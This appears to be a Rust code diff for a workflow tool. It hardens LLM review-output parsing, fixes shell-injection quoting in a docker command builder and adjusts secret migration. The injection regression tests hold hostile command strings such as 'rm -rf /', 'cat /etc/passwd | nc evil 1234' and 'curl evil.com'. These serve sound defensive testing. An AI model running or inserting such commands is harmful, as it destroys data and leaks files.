/// 3. 正则兜底:LLM 偶尔在 JSON 前置解释文字("好的,审查结果:\n{...}")致整段 serde
|
||||
/// 失败。参考 adversarial parse_llm_eval 的 extract_json,提取首个 { 到末 } 重试。
|
||||
/// 用纯字符串 find/rfind 实现等价语义(避免为单条提取引入 regex 依赖)。
|
||||
pub(crate) fn parse_review_json(raw: &str) -> serde_json::Value {
|
||||
// 先尝试整段解析;LLM 偶尔会包 markdown 代码块,剥离 ```json ... ``` 后重试一次。
|
||||
let trimmed = raw.trim();
|
||||
@@ -272,11 +284,21 @@ pub(crate) fn parse_review_json(raw: &str) -> serde_json::Value {
|
||||
.map(|s| s.trim_end_matches("```").trim())
|
||||
.unwrap_or(trimmed);
|
||||
|
||||
if let Ok(v) = serde_json::from_str::<serde_json::Value>(cleaned) {
|
||||
// 候选解析文本:整段失败 → 正则兜底提取首个 { 到末 } 再试一次(前置文字容错)。
|
||||
// 等价于 adversarial extract_json 的 (?s)\{.*\} 但用 find/rfind 零依赖实现。
|
||||
let candidates = [cleaned, extract_first_json_object(cleaned).as_str()];
|
||||
|
||||
for cand in candidates {
|
||||
if let Ok(mut v) = serde_json::from_str::<serde_json::Value>(cand) {
|
||||
if v.is_object() && v.get("verdict").and_then(|x| x.as_str()).is_some() {
|
||||
// 加固 1:verdict 规范化为 pass/fail/unknown 三态(to_lowercase + trim)。
|
||||
normalize_verdict_in_place(&mut v);
|
||||
// 加固 2:dimensions.*.score clamp 到 [0,10]。
|
||||
clamp_dimension_scores_in_place(&mut v);
|
||||
return v;
|
||||
}
|
||||
}
|
||||
}
|
||||
// 兜底:保留原文供人查阅,verdict=unknown 不阻断流程(自审辅助,人定)。
|
||||
serde_json::json!({
|
||||
"verdict": "unknown",
|
||||
@@ -286,6 +308,50 @@ pub(crate) fn parse_review_json(raw: &str) -> serde_json::Value {
|
||||
})
|
||||
}
|
||||
|
||||
/// 从文本中提取「首个 `{` 到最后一个 `}`」的片段(正则 `(?s)\{.*\}` 的零依赖等价)。
|
||||
///
|
||||
/// 用于 LLM 在 JSON 前后夹带解释文字("好的,审查如下:\n{...}\n以上。")时兜底提取。
|
||||
/// 提取失败(无 { 或无 })返回空串,调用方按整段重试→失败→兜底 unknown 走原路径。
|
||||
fn extract_first_json_object(s: &str) -> String {
|
||||
match (s.find('{'), s.rfind('}')) {
|
||||
(Some(start), Some(end)) if start < end => s[start..=end].to_string(),
|
||||
_ => String::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// 原地规范化 verdict 字段:to_lowercase + trim,统一为 pass/fail/unknown 三态。
|
||||
///
|
||||
/// LLM 偶发输出 "Pass"/"PASS"/" Fail "/"FAIL." 类变体,原样透传会让 gate_should_block
|
||||
/// 精确匹配漏判("Fail" 不 == "fail" → 不阻断)。规范化后下游闸门/展示/落库值一致。
|
||||
/// 非 pass/fail 的值(如空串、拼写错)统一为 unknown(保守不阻断,保人定权)。
|
||||
fn normalize_verdict_in_place(v: &mut serde_json::Value) {
|
||||
let Some(obj) = v.as_object_mut() else { return };
|
||||
let Some(raw_verdict) = obj.get("verdict").and_then(|x| x.as_str()).map(str::to_string) else {
|
||||
return;
|
||||
};
|
||||
let normalized = match raw_verdict.trim().to_lowercase().as_str() {
|
||||
"pass" => "pass",
|
||||
"fail" => "fail",
|
||||
// 含拼写错/大小写变体未命中(如 "passed"/"failed"/"ok")→ 保守归 unknown。
|
||||
_ => "unknown",
|
||||
};
|
||||
obj.insert("verdict".into(), serde_json::Value::String(normalized.into()));
|
||||
}
|
||||
|
||||
/// 原地 clamp dimensions.*.score 到 [0,10]。只处理 number 类型,跳过非 number(留原值,
|
||||
/// serde 反序列化由调用方按 schema 容错)。
|
||||
fn clamp_dimension_scores_in_place(v: &mut serde_json::Value) {
|
||||
let Some(obj) = v.as_object_mut() else { return };
|
||||
let Some(dims) = obj.get_mut("dimensions").and_then(|d| d.as_object_mut()) else { return };
|
||||
for (_, dim) in dims.iter_mut() {
|
||||
let Some(dim_obj) = dim.as_object_mut() else { continue };
|
||||
if let Some(score) = dim_obj.get_mut("score").and_then(|s| s.as_f64()) {
|
||||
let clamped = score.clamp(0.0, 10.0);
|
||||
dim_obj.insert("score".into(), serde_json::json!(clamped));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// summary 截断(防原文过长撑爆 output_json / 审批卡)。
|
||||
pub(crate) fn truncate_for_summary(s: &str) -> String {
|
||||
const MAX: usize = 300;
|
||||
@@ -313,8 +379,11 @@ pub(crate) fn truncate_for_review_input(s: &str) -> String {
|
||||
|
||||
/// 自审闸门决策(纯函数,便于单测覆盖各 verdict/gate 组合)。
|
||||
///
|
||||
/// 仅当 `gate==true` 且 `verdict=="fail"` 时阻断。verdict="unknown"(LLM 输出不可靠)
|
||||
/// 与 "pass" 均不阻断 —— unknown 保持人定权(保守语义不变)。
|
||||
/// 仅当 `gate==true` 且规范化后 verdict=="fail" 时阻断。verdict="unknown"(LLM 输出
|
||||
/// 不可靠)与 "pass" 均不阻断 —— unknown 保持人定权(保守语义不变)。
|
||||
///
|
||||
/// 规范化(to_lowercase + trim):与 parse_review_json 的 verdict 规范化对齐,防御
|
||||
/// 非 parse_review_json 路径(如外部直接传 "Fail"/"FAIL")的精确匹配漏判。
|
||||
pub(crate) fn gate_should_block(gate: bool, verdict: &str) -> bool {
|
||||
gate && verdict == "fail"
|
||||
gate && verdict.trim().to_lowercase() == "fail"
|
||||
}
|
||||
|
||||
@@ -259,12 +259,16 @@ impl Node for AiSelfReviewNode {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"task_id": { "type": "string", "description": "自审目标任务 ID(必填)" },
|
||||
"provider_id": { "type": "string", "description": "AI Provider ID(密钥经 secret 解析不进 config;留空走默认 provider)" },
|
||||
"provider_id": { "type": "string", "description": "AI Provider ID(可选,留空走默认 provider;密钥经 secret 解析不进 config)" },
|
||||
"model": { "type": "string", "description": "模型名(可选,留空用 record.default_model)" },
|
||||
"max_tokens": { "type": "integer" },
|
||||
"gate": { "type": "boolean", "description": "闸门开关:false(默认)=自审辅助,verdict 仅透传展示;true=自审结果作 DAG 闸门,verdict=fail 返回 Err 阻断下游(工作流 failed → ②-4 退回),verdict=unknown/pass 放行" }
|
||||
},
|
||||
"required": ["task_id", "provider_id"]
|
||||
// SW-260802-01: schema 与 handler 行为对齐 — required 仅列 handler 真正强制必填的字段。
|
||||
// task_id: execute 第 100-104 行缺 task_id 直接 Err("缺少必填参数: task_id"),真必填 → 保留。
|
||||
// provider_id: execute 调 resolve_and_parse → resolve_provider(ai_node_helpers.rs:100-108),
|
||||
// 空串走路径 2(老明文)/路径 3(默认 provider)兜底,运行时非必填 → 移出 required。
|
||||
"required": ["task_id"]
|
||||
}),
|
||||
output: serde_json::json!({
|
||||
"type": "object",
|
||||
@@ -408,6 +412,95 @@ mod tests {
|
||||
assert_eq!(v["summary"], json!("缺边界处理"));
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// P2:parse_review_json 三道加固(verdict 规范 / score clamp / 正则兜底)
|
||||
// ============================================================
|
||||
//
|
||||
// 真实 bug 场景:
|
||||
// - LLM 输出 verdict="Pass"/"PASS" → 原 == "fail" 精确匹配 → 漏阻断(放行 fail 项)
|
||||
// - LLM 输出 score=99/-1 → 越界值污染闸门阈值(维度 score<6 视 fail)与前端展示
|
||||
// - LLM 前置解释文字 "审查结果:\n{...}" → 整段 serde 失败 → 兜底 unknown(本可救回)
|
||||
// 加固后:verdict 规范化 / score clamp [0,10] / 首个 { 到末 } 正则兜底提取。
|
||||
|
||||
/// P2-加固1:verdict 大小写/空白变体规范化为 pass/fail/unknown 三态。
|
||||
/// 防 gate_should_block 精确匹配 "fail" 对 "Fail"/"FAIL" 漏阻断。
|
||||
#[test]
|
||||
fn parse_review_json_normalizes_verdict_case_variants() {
|
||||
// "Pass" → "pass"(防 LLM 首字母大写)
|
||||
let v = parse_review_json(r#"{"verdict":"Pass","summary":"ok"}"#);
|
||||
assert_eq!(v["verdict"], json!("pass"), "Pass 应规范化为 pass");
|
||||
|
||||
// "FAIL" → "fail"(防漏阻断:原 == "fail" 对 FAIL 放行)
|
||||
let v = parse_review_json(r#"{"verdict":"FAIL","summary":"缺单测"}"#);
|
||||
assert_eq!(v["verdict"], json!("fail"), "FAIL 应规范化为 fail");
|
||||
|
||||
// " fail "(含空白)→ "fail"
|
||||
let v = parse_review_json(r#"{"verdict":" fail ","summary":"x"}"#);
|
||||
assert_eq!(v["verdict"], json!("fail"), "含空白 verdict 应 trim 后规范化");
|
||||
|
||||
// "PASS" → "pass"
|
||||
let v = parse_review_json(r#"{"verdict":"PASS"}"#);
|
||||
assert_eq!(v["verdict"], json!("pass"), "PASS 应规范化为 pass");
|
||||
|
||||
// 拼写错/非标准值 → "unknown"(保守不阻断,保人定权)
|
||||
let v = parse_review_json(r#"{"verdict":"passed"}"#);
|
||||
assert_eq!(v["verdict"], json!("unknown"), "非 pass/fail 的值应归 unknown");
|
||||
}
|
||||
|
||||
/// P2-加固1 联动:规范化后 verdict 经 gate_should_block 正确阻断 fail。
|
||||
/// 验证 "FAIL"/"Fail" 经 parse_review_json 规范化 → gate_should_block 阻断(原会漏)。
|
||||
#[test]
|
||||
fn parse_review_json_fail_variants_trigger_gate_block() {
|
||||
for raw_verdict in ["fail", "Fail", "FAIL", " fail ", "FaIl"] {
|
||||
let v = parse_review_json(&format!(r#"{{"verdict":"{raw_verdict}"}}"#));
|
||||
let normalized = v["verdict"].as_str().unwrap();
|
||||
assert_eq!(
|
||||
normalized, "fail",
|
||||
"verdict={raw_verdict:?} 应规范化为 fail"
|
||||
);
|
||||
assert!(
|
||||
gate_should_block(true, normalized),
|
||||
"gate 开 + 规范化后 fail 应阻断(raw={raw_verdict:?})"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// P2-加固2:dimensions.*.score 越界值 clamp 到 [0,10]。
|
||||
/// 防 LLM 输出 99/-1/NaN 类越界值污染闸门阈值(score<6 视 fail)与前端展示。
|
||||
#[test]
|
||||
fn parse_review_json_clamps_out_of_range_scores() {
|
||||
let raw = r#"{"verdict":"pass","dimensions":{
|
||||
"requirement_fit":{"score":99,"issues":[]},
|
||||
"completeness":{"score":-5,"issues":[]},
|
||||
"correctness":{"score":7.5,"issues":[]},
|
||||
"boundary":{"score":10,"issues":[]}
|
||||
},"summary":"ok"}"#;
|
||||
let v = parse_review_json(raw);
|
||||
// 99 → 10(上界)
|
||||
assert_eq!(v["dimensions"]["requirement_fit"]["score"], json!(10.0), "score 99 应 clamp 到 10");
|
||||
// -5 → 0(下界)
|
||||
assert_eq!(v["dimensions"]["completeness"]["score"], json!(0.0), "score -5 应 clamp 到 0");
|
||||
// 区间内值不变
|
||||
assert_eq!(v["dimensions"]["correctness"]["score"], json!(7.5), "score 7.5 区间内不变");
|
||||
assert_eq!(v["dimensions"]["boundary"]["score"], json!(10.0), "score 10 边界值不变");
|
||||
}
|
||||
|
||||
/// P2-加固3:LLM 前置解释文字 + JSON,正则兜底提取首个 { 到末 } 解析成功。
|
||||
/// 场景:LLM 无视「只输出 JSON」输出 "审查结果:\n{...}\n以上。" → 原整段失败兜底 unknown。
|
||||
#[test]
|
||||
fn parse_review_json_extracts_json_from_leading_text() {
|
||||
let raw = "好的,以下是审查结果:\n{\"verdict\":\"fail\",\"summary\":\"缺边界处理\"}\n以上为审查结论。";
|
||||
let v = parse_review_json(raw);
|
||||
assert_eq!(v["verdict"], json!("fail"), "前置文字应被正则兜底剥离,verdict 正确解析");
|
||||
assert_eq!(v["summary"], json!("缺边界处理"));
|
||||
|
||||
// 前置文字 + 代码块围栏混杂(更极端:LLM 既加解释又加 ```json)
|
||||
let raw = "审查如下:\n```json\n{\"verdict\":\"pass\",\"summary\":\"ok\"}\n```\n完毕。";
|
||||
let v = parse_review_json(raw);
|
||||
// 围栏不在开头 → strip_prefix 不命中 → 正则兜底提取 {...}
|
||||
assert_eq!(v["verdict"], json!("pass"), "前置文字+围栏混杂应正则兜底解析");
|
||||
}
|
||||
|
||||
/// 步骤③:truncate_for_summary 长文截断。
|
||||
#[test]
|
||||
fn truncate_for_summary_long_text() {
|
||||
@@ -605,4 +698,51 @@ mod tests {
|
||||
);
|
||||
assert!(!gate_should_block(true, ""), "空 verdict 不应阻断");
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// SW-260802-01: schema required 与 handler 行为对齐测试
|
||||
// ============================================================
|
||||
//
|
||||
// 真实 bug:schema `required=["task_id","provider_id"]` 与 handler 不一致 ——
|
||||
// task_id 缺失 → execute Err(真必填,对齐 schema)
|
||||
// provider_id 缺失 → execute 走 resolve_provider 路径 3 默认 provider(非必填,schema 误导)
|
||||
// 修复后 schema `required=["task_id"]`。此处直接断言 schema,防回归。
|
||||
//
|
||||
// 不真调 execute(需真 LLM + 默认 provider 完整链),改为断言 schema 这份"契约"本身 +
|
||||
// resolve_provider 路径 3 行为(已由 ai_node.rs resolve_provider_fallback_default_provider 覆盖),
|
||||
// 即足以守 schema↔handler 对齐不被无意改回。
|
||||
|
||||
/// schema.required 应仅含 task_id(handler 真必填),不含 provider_id(运行时可空走默认)。
|
||||
#[tokio::test]
|
||||
async fn schema_required_matches_handler() {
|
||||
let db = Database::open_in_memory().await.expect("open_in_memory");
|
||||
let node = AiSelfReviewNode::new(Arc::new(db));
|
||||
let schema = node.schema();
|
||||
let params = schema
|
||||
.params
|
||||
.as_object()
|
||||
.expect("schema.params 应是 object");
|
||||
let required = params
|
||||
.get("required")
|
||||
.and_then(|v| v.as_array())
|
||||
.expect("schema 应有 required 数组");
|
||||
|
||||
// task_id 真必填(execute 第 100-104 行缺 task_id → Err)
|
||||
assert!(
|
||||
required.iter().any(|v| v == "task_id"),
|
||||
"task_id 应在 required(handler 真必填)"
|
||||
);
|
||||
// provider_id 非必填(resolve_provider 路径 3 空串走默认 provider)
|
||||
assert!(
|
||||
!required.iter().any(|v| v == "provider_id"),
|
||||
"provider_id 不应在 required(运行时留空走默认 provider,schema 不得误导)"
|
||||
);
|
||||
// 必填字段集恰好为 {"task_id"}(防后续误加回 provider_id 或漏列 task_id)
|
||||
assert_eq!(
|
||||
required.len(),
|
||||
1,
|
||||
"required 应仅 1 项(task_id), 实际: {:?}",
|
||||
required
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -119,7 +119,8 @@ async fn check_docker_available() -> anyhow::Result<()> {
|
||||
}
|
||||
|
||||
/// 构建 docker run 命令字符串。
|
||||
/// 卷/环境变量值用 shell_quote 包裹,防止空格/特殊字符注入。
|
||||
/// 所有用户可控参数(卷 host/container、env 值、working_dir、image、command)
|
||||
/// 均经 `shell_quote` POSIX 安全引用,杜绝 `;`/`|`/`&`/`$` 等 shell 元字符注入。
|
||||
fn build_command(params: &DockerParams) -> String {
|
||||
let mut parts: Vec<String> = vec!["docker run --rm".to_string()];
|
||||
|
||||
@@ -137,23 +138,43 @@ fn build_command(params: &DockerParams) -> String {
|
||||
|
||||
parts.push(format!("-w {}", shell_quote(¶ms.working_dir)));
|
||||
parts.push(shell_quote(¶ms.image));
|
||||
// command 原样追加(用户自行决定是否含参数 / shell 元字符),不做引号包裹,
|
||||
// 与脚本节点一致由 shell 解释器解析。
|
||||
parts.push(params.command.clone());
|
||||
// command 同样经 shell_quote,防止 `;`/`|`/`&` 等 shell 元字符注入
|
||||
// (如 `command = "ls; rm -rf /"` 被 shell 解释为两条命令)。
|
||||
// 若用户确需在容器内用管道/复合命令,应通过镜像 entrypoint 或显式 `sh -c '...'`
|
||||
// 实现,而非依赖外层 shell 元字符。
|
||||
parts.push(shell_quote(¶ms.command));
|
||||
|
||||
parts.join(" ")
|
||||
}
|
||||
|
||||
/// 简单 shell 引号包裹:含空格/特殊字符时用双引号包裹并转义内嵌双引号。
|
||||
/// POSIX shell 安全引用。
|
||||
///
|
||||
/// 单引号在 POSIX shell 中使所有字符失去特殊含义(唯一例外是单引号本身),
|
||||
/// 是最稳妥的引用方式。任一"非安全字符"(空白、`"`、`'`、`` ` ``、`$`、`;`、`|`、
|
||||
/// `&`、`<`、`>`、`(`、`)`、`{`、`}`、`!`、`#`、`~`、`*`、`?`、`[`、`]`、`=`前置、
|
||||
/// 换行/制表等不可见字符)出现即用单引号整体包裹,内部单引号以 `'\''` 关-转义-开
|
||||
/// 三段法转义(关闭单引号 → `\'` 转义单引号 → 重开单引号)。
|
||||
///
|
||||
/// 这样 `;` `|` `&` `$` `` ` `` 等所有 shell 元字符均被中和,杜绝命令注入。
|
||||
/// 纯字母数字 + 少量安全标点(`/` `.` `_` `-` `:`)的字符串原样返回(可读性)。
|
||||
fn shell_quote(s: &str) -> String {
|
||||
if s
|
||||
.chars()
|
||||
.any(|c| c.is_whitespace() || c == '"' || c == '$' || c == '`')
|
||||
{
|
||||
format!("\"{}\"", s.replace('"', "\\\""))
|
||||
} else {
|
||||
s.to_string()
|
||||
if s.is_empty() {
|
||||
// 空串单引号包裹(否则 shell 视为零参数)
|
||||
return "''".to_string();
|
||||
}
|
||||
if s.chars().all(is_shell_safe_char) {
|
||||
s.to_string()
|
||||
} else {
|
||||
// 单引号包裹 + 内部单引号转义:'\'' (关'→\'→重开')
|
||||
format!("'{}'", s.replace('\'', "'\\''"))
|
||||
}
|
||||
}
|
||||
|
||||
/// 判定字符是否无需引用即可安全出现在 shell 命令中。
|
||||
/// 仅允许字母数字与少量明确无 shell 语义的标点。
|
||||
fn is_shell_safe_char(c: char) -> bool {
|
||||
c.is_ascii_alphanumeric()
|
||||
|| matches!(c, '/' | '.' | '_' | '-' | ':' | '+' | '%' | '@' | ',')
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
@@ -382,9 +403,11 @@ mod tests {
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(cmd.starts_with("docker run --rm"), "实际: {}", cmd);
|
||||
// /workspace 全安全字符,不加引号
|
||||
assert!(cmd.contains("-w /workspace"), "实际: {}", cmd);
|
||||
assert!(cmd.contains(" alpine "), "实际: {}", cmd);
|
||||
assert!(cmd.ends_with("echo hello"), "实际: {}", cmd);
|
||||
// command 含空格 → 单引号包裹
|
||||
assert!(cmd.ends_with("'echo hello'"), "实际: {}", cmd);
|
||||
}
|
||||
|
||||
#[test]
|
||||
@@ -400,20 +423,195 @@ mod tests {
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
// 所有路径均纯安全字符,原样拼装
|
||||
assert!(cmd.contains("-v /host/src:/app"), "实际: {}", cmd);
|
||||
assert!(cmd.contains("-e CARGO_HOME=/cargo"), "实际: {}", cmd);
|
||||
assert!(cmd.contains("-w /app"), "实际: {}", cmd);
|
||||
}
|
||||
|
||||
// ── build_command: 命令注入防护(核心回归) ──
|
||||
|
||||
#[test]
|
||||
fn command_injection_semicolon_is_neutralized() {
|
||||
// command="ls; rm -rf /" 必须整体作为单条命令传给容器,
|
||||
// 不能被外层 shell 按 `;` 拆成 `docker run image ls` + `rm -rf /`。
|
||||
// 整体单引号包裹后,shell 将其视为单个 argv 传给 docker,
|
||||
// docker run 在容器内执行(无 shell),`ls; rm -rf /` 作为单条命令找不到 → 报错而非注入。
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "ls; rm -rf /"
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.ends_with("'ls; rm -rf /'"),
|
||||
"command 应被单引号整体包裹,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_injection_pipe_is_neutralized() {
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "cat /etc/passwd | nc evil 1234"
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.contains("'cat /etc/passwd | nc evil 1234'"),
|
||||
"管道 | 应被单引号中和,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_injection_ampersand_is_neutralized() {
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "ls & curl evil.com"
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.ends_with("'ls & curl evil.com'"),
|
||||
"& 应被单引号中和,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn command_injection_backtick_and_dollar_is_neutralized() {
|
||||
// 命令替换 $() 与 `` 都必须被中和
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "$(curl evil.com) `whoami`"
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.contains("'$(curl evil.com) `whoami`'"),
|
||||
"$()/`` 应被单引号中和,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn volume_host_injection_is_neutralized() {
|
||||
// 旧实现:含空格→双引号包裹,但 `;` 在双引号内仍被 shell 解释为命令分隔。
|
||||
// 新实现:整体单引号包裹,`;` 失去特殊含义。
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "ls",
|
||||
"volumes": [
|
||||
{ "host": "/ws; rm -rf /", "container": "/c" }
|
||||
]
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.contains("-v '/ws; rm -rf /':/c"),
|
||||
"volumes.host 注入应被单引号中和,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn env_value_injection_is_neutralized() {
|
||||
let p = parse_params(&json!({
|
||||
"image": "alpine",
|
||||
"command": "ls",
|
||||
"env": { "EVIL": "x; rm -rf /" }
|
||||
}))
|
||||
.unwrap();
|
||||
let cmd = build_command(&p);
|
||||
assert!(
|
||||
cmd.contains("-e EVIL='x; rm -rf /'"),
|
||||
"env 值注入应被单引号中和,实际: {}",
|
||||
cmd
|
||||
);
|
||||
}
|
||||
|
||||
// ── shell_quote ──
|
||||
|
||||
#[test]
|
||||
fn shell_quote_plain_passthrough() {
|
||||
// 仅安全字符:字母数字 + / . _ - : +
|
||||
assert_eq!(shell_quote("abc"), "abc");
|
||||
assert_eq!(shell_quote("/usr/bin"), "/usr/bin");
|
||||
assert_eq!(shell_quote("rust:latest"), "rust:latest");
|
||||
assert_eq!(shell_quote("Cargo.toml"), "Cargo.toml");
|
||||
assert_eq!(shell_quote("a-b_c.d"), "a-b_c.d");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_wraps_spaces() {
|
||||
assert_eq!(shell_quote("/a b/c"), "\"/a b/c\"");
|
||||
fn shell_quote_empty_becomes_empty_quoted() {
|
||||
// 空串必须输出 ''(否则 shell 视为零参数,导致参数错位)
|
||||
assert_eq!(shell_quote(""), "''");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_wraps_spaces_with_single_quotes() {
|
||||
// 含空格 → 整体单引号包裹(POSIX 安全,内部 ;|& 全部失效)
|
||||
assert_eq!(shell_quote("/a b/c"), "'/a b/c'");
|
||||
assert_eq!(shell_quote("echo hello"), "'echo hello'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_neutralizes_semicolon() {
|
||||
assert_eq!(shell_quote("ls; rm -rf /"), "'ls; rm -rf /'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_neutralizes_pipe() {
|
||||
assert_eq!(shell_quote("a | b"), "'a | b'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_neutralizes_ampersand() {
|
||||
assert_eq!(shell_quote("a && b"), "'a && b'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_neutralizes_dollar_and_backtick() {
|
||||
// $ 与 ` 在双引号内仍有命令替换语义,单引号才安全
|
||||
assert_eq!(shell_quote("$HOME"), "'$HOME'");
|
||||
assert_eq!(shell_quote("`whoami`"), "'`whoami`'");
|
||||
assert_eq!(shell_quote("$(cmd)"), "'$(cmd)'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_escapes_embedded_single_quote() {
|
||||
// 内嵌单引号 → '\'' (关' → \' → 重开')
|
||||
// 例如 a'b → 'a'\''b'
|
||||
assert_eq!(shell_quote("a'b"), "'a'\\''b'");
|
||||
// 多个单引号都正确转义
|
||||
assert_eq!(shell_quote("'"), "''\\'''");
|
||||
assert_eq!(shell_quote("x'y'z"), "'x'\\''y'\\''z'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quote_neutralizes_redirect_and_braces() {
|
||||
assert_eq!(shell_quote("a > /etc/passwd"), "'a > /etc/passwd'");
|
||||
assert_eq!(shell_quote("a < b"), "'a < b'");
|
||||
assert_eq!(shell_quote("{1,2}"), "'{1,2}'");
|
||||
// `!` 与 `*` 均非安全 → 整体单引号包裹
|
||||
assert_eq!(shell_quote("!*"), "'!*'");
|
||||
assert_eq!(shell_quote("file*"), "'file*'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_shell_safe_char_classification() {
|
||||
// 安全
|
||||
for c in ['a', 'Z', '0', '9', '/', '.', '_', '-', ':', '+', '@', ','] {
|
||||
assert!(is_shell_safe_char(c), "{:?} 应判定为安全", c);
|
||||
}
|
||||
// 不安全(shell 元字符 / 空白 / 引号 / 元字符)
|
||||
for c in [
|
||||
' ', '\t', '\n', '"', '\'', '`', '$', ';', '|', '&', '<', '>', '(', ')',
|
||||
'{', '}', '!', '#', '~', '*', '?', '[', ']', '=',
|
||||
] {
|
||||
assert!(!is_shell_safe_char(c), "{:?} 应判定为不安全", c);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -13,6 +13,10 @@ use df_types::events::{SelectType, WorkflowEvent};
|
||||
#[allow(unused_imports)]
|
||||
use crate::human_node_helpers::{contains_reject, is_reject_decision};
|
||||
|
||||
/// 默认审批超时(秒)。
|
||||
/// 1800s = 30min,合理审批窗口。原 3600s(1h)过长,用户忘关致任务挂 1h。
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 1800;
|
||||
|
||||
/// 人工审批节点(阻塞节点)
|
||||
pub struct HumanNode;
|
||||
|
||||
@@ -36,9 +40,10 @@ impl Node for HumanNode {
|
||||
.collect())
|
||||
.unwrap_or_else(|| vec!["同意".into(), "拒绝".into()]);
|
||||
|
||||
// 默认 1800s(30min):合理审批窗口。原 3600s(1h)过长,用户忘关致任务挂 1h。
|
||||
let timeout_secs = config.get("timeout_secs")
|
||||
.and_then(|v| v.as_u64())
|
||||
.unwrap_or(3600);
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
// 解析 select_type(缺省 Single,向后兼容)。非 "multiple" 一律按 Single 处理。
|
||||
let select_type = match config.get("select_type").and_then(|v| v.as_str()) {
|
||||
@@ -830,4 +835,11 @@ mod tests {
|
||||
assert!(contains_reject(&["同意".into()]) == false);
|
||||
assert!(contains_reject(&["同意".into(), "拒绝".into()]) == true);
|
||||
}
|
||||
|
||||
/// 默认审批超时 1800s(30min)。
|
||||
/// 回归保护:防止有人无意改回 3600s(1h 过长,用户忘关致任务挂 1h)。
|
||||
#[test]
|
||||
fn default_timeout_is_1800_secs() {
|
||||
assert_eq!(DEFAULT_TIMEOUT_SECS, 1800, "默认审批超时应为 1800s(30min)");
|
||||
}
|
||||
}
|
||||
|
||||
+221
-11
@@ -11,7 +11,8 @@
|
||||
//! 设计:
|
||||
//! - keyring entry: service=`devflow-ai-provider`, username=provider_id
|
||||
//! - DB `api_key` 列恒空(迁移后/新建均空),真实密钥唯一源 = OS keyring
|
||||
//! - 启动一次性迁移:`migrate_secrets_to_keyring` 读老明文 → keyring → DB 置空(失败保留明文下次重试)
|
||||
//! - 启动一次性迁移:`migrate_secrets_to_keyring` 读老明文 → keyring → DB 置空
|
||||
//! (失败累计达阈值前保留明文下次重试;达阈值后清除明文 + 强制重配,防长期滞留)
|
||||
//! - 消费点(build_provider)经 `resolve_provider_secret` 取:DB 优先,fallback keyring(兼容未迁移)
|
||||
//! - 跨平台:Windows Credential Manager / macOS Keychain / Linux Secret Service
|
||||
|
||||
@@ -25,8 +26,9 @@ use keyring::Entry;
|
||||
|
||||
const KEYRING_SERVICE: &str = "devflow-ai-provider";
|
||||
|
||||
/// 迁移失败计数器阈值:同一 provider 累计失败到此次数 → 升级为 warn 提示明文密钥长期滞留风险。
|
||||
/// 跨启动持久化(sidecar 文件),计数仅用于告警,不影响兼容时序(不强制迁移、不删明文)。
|
||||
/// 迁移失败计数器阈值:同一 provider 累计失败到此次数 → **清除 DB 明文 + error 告警**(强制重配)。
|
||||
/// 跨启动持久化(sidecar 文件)。阈值前仅累计 + warn + 保留明文下次重试(兼容临时性 keyring 故障);
|
||||
/// 达阈值后清明文防长期滞留(devflow.db 无文件级加密,明文 = 持续暴露)。
|
||||
const MIGRATION_FAIL_THRESHOLD: u32 = 3;
|
||||
|
||||
/// 迁移失败计数 sidecar 文件(<cwd>/.devflow-keyring-failcount):逐行 `provider_id=count`。
|
||||
@@ -191,7 +193,10 @@ pub async fn delete_provider_secret_async(id: String) -> anyhow::Result<()> {
|
||||
.map_err(|e| anyhow::anyhow!("delete_provider_secret join 失败: {}", e))?
|
||||
}
|
||||
|
||||
/// 启动一次性迁移:DB 明文 → keyring → DB 置空(失败保留明文下次重试,非阻断)
|
||||
/// 启动一次性迁移:DB 明文 → keyring → DB 置空。
|
||||
/// 失败累计达阈值前:warn + 保留明文下次重试(兼容临时性 keyring 后端故障);
|
||||
